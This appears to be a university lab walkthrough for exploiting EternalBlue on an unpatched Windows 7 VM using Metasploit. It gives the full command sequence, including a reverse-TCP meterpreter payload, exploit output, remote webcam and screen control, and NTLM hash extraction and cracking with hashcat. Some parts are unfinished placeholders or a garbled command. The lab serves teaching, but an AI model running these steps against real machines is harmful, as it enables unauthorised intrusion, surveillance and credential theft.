EternalBlue Windows 7

In this lab, we will learn how to use the EternalBlue vulnerability on an unpatched Windows 7 host. This exploit was linked to the NSA but has since been patched on all windows versions. We will use Metasploit on Kali Linux to make this process a little easier.

This is for educational purposes only, attacking computers or equipment without permission is unethical and is against the law.

With great knowledge comes great responsibility.

• EternalBlue
• Linux
• Security
• Metasploit
• Ethics

Setup

Log in using the outreach username and password.

Start the lab by opening VMware and opening the Windows 7 image and the Kali Linux image.

You can log into kali with:

username: kali
password: kali

Starting up Metasploit

On the Kali VM we are going to open the terminal and type the following commands:

service postgresql start
msfconsole

hint: the password is student

we are then going to use the following exploit on our machine:

use exploit/windows/smb/ms17_010_eternalblue

once selected we need to fill out some options for this to work:

options

your output should look like this:

Insert Picture here

We will set these options in the sections below.

Getting the IP address of your Windows 7 Machine

you will need to open command prompt and type:

ipconfig

we are looking for an ip address that looks like this 134.115.148.xxx (xxx being the last numbers)

Windows 7 ip

in this example you can see the ip address is 134.115.148.165

Setting the target to attack in Metasploit

In Kali Linux we now need to set the host to attack (the Windows 7 machine)

set rhosts 134.115.148.xxx

This will be the IP address you got earlier, it should output this:

Kali set rhost

We will now set the payload which will infect the Windows 7 machine. This software will allow us to control the machine remotely

set payload windows/x64/meterpreter/reverse_tcp

We now need to tell Metasploit the IP address of our Kali Linux machine.

Getting the IP address in Kali Linux

Open a new terminal window and type this command to get the ip address:

ifconfig

We are looking for an ip address that looks like this 134.115.148.xxx (xxx being the last numbers)

Kali IP

in this example you can see the ip address is 134.115.148.147

setting the local ip in Metasploit

in the terminal window on the kali machine type:

set lhost 134.115.148.xxx

you should get this output:

lhost => 134.115.148.xxx

then set the port:

set lport 4321

you should get this output:

lport => 4321

running the exploit and controlling the windows 7 machine

we are now going to run this exploit and can test out things like watching the screen or turning the webcam on remotely.

in the kali terminal run the exploit:

run

you should get this output:

[*] Started reverse TCP handler on 134.115.148.xxx:4321
[*] 134.115.148.xxx:445 - Connecting to target for exploitation.
[+] 134.115.148.xxx:445 - Connection established for exploitation.
[+] 134.115.148.xxx:445 - Target OS selected valid for OS indicated by SMB reply
[*] 134.115.148.xxx:445 - CORE raw buffer dump (51 bytes)
[*] 134.115.148.xxx:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 134.115.148.xxx:445 - 0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
[*] 134.115.148.xxx:445 - 0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
[*] 134.115.148.xxx:445 - 0x00000030  6b 20 31                                         k 1
[+] 134.115.148.xxx:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 134.115.148.xxx:445 - Trying exploit with 12 Groom Allocations.
[*] 134.115.148.xxx:445 - Sending all but last fragment of exploit packet
[*] 134.115.148.xxx:445 - Starting non-paged pool grooming
[+] 134.115.148.xxx:445 - Sending SMBv2 buffers
[+] 134.115.148.xxx:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 134.115.148.xxx:445 - Sending final SMBv2 buffers.
[*] 134.115.148.xxx:445 - Sending last fragment of exploit packet!
[*] 134.115.148.xxx:445 - Receiving response from exploit packet
[+] 134.115.148.xxx:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 134.115.148.xxx:445 - Sending egg to corrupted connection.
[*] 134.115.148.xxx:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 134.115.148.xxx
[*] Meterpreter session 1 opened (134.115.148.xxx:4321 -> 134.115.148.xxx:49207) at 2019-03-26 11:01:46 -0500
[+] 134.115.148.xxx:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 134.115.148.xxx:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 134.115.148.xxx:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

we now have control of the machine and you can try out some commands such as:

sysinfo

screenshare

mkdir C:/Users/Murdoch/Desktop/1337-hacker

?

hint: to close a current command press control-c

Turning on a remote Webcam

how would you remotely turn on someone's webcam?

Ask your instructor for help with this.

Getting Password Hashes

Many real world hacks feature many pivot points. The LinkedIn compromise was an example of this. A LinkedIn developer had put some LinkedIn credentials on a home machine. The compromise begun when the soft target, the home machine, was compromised. The attackers then pivoted from there. In this next example, we will show you what this sort of a pivot can look like.

So we have access to some weak unpatched Windows 7 box. There is very little chance that this sort of machine would be seen on a large company network, but these will still exist at home.

Lets extract the password hashes from the windows machine with

nthountheoutheounthntueoh

Lets find the username LinkedIn and then lets extract their password hash. A password hash is ..... We know that Windows 7 would hash passwords using an algorithm called NTLM.

Now lets manually extract the password hash and put this in a file:

cca4d46bdf8ab23cb17704bfd93a10b9

Save it as linkedin_hash

Now we are going to crack it with hashcat, but before we do, I want us to download a password list. I have provided one for you here. You can get it with

wget https://csn.murdoch.edu.au/wordlist_names.txt

hashcat -m 1000 -a 0 -o win7_out.txt linkedin_hash wordlist_names.txt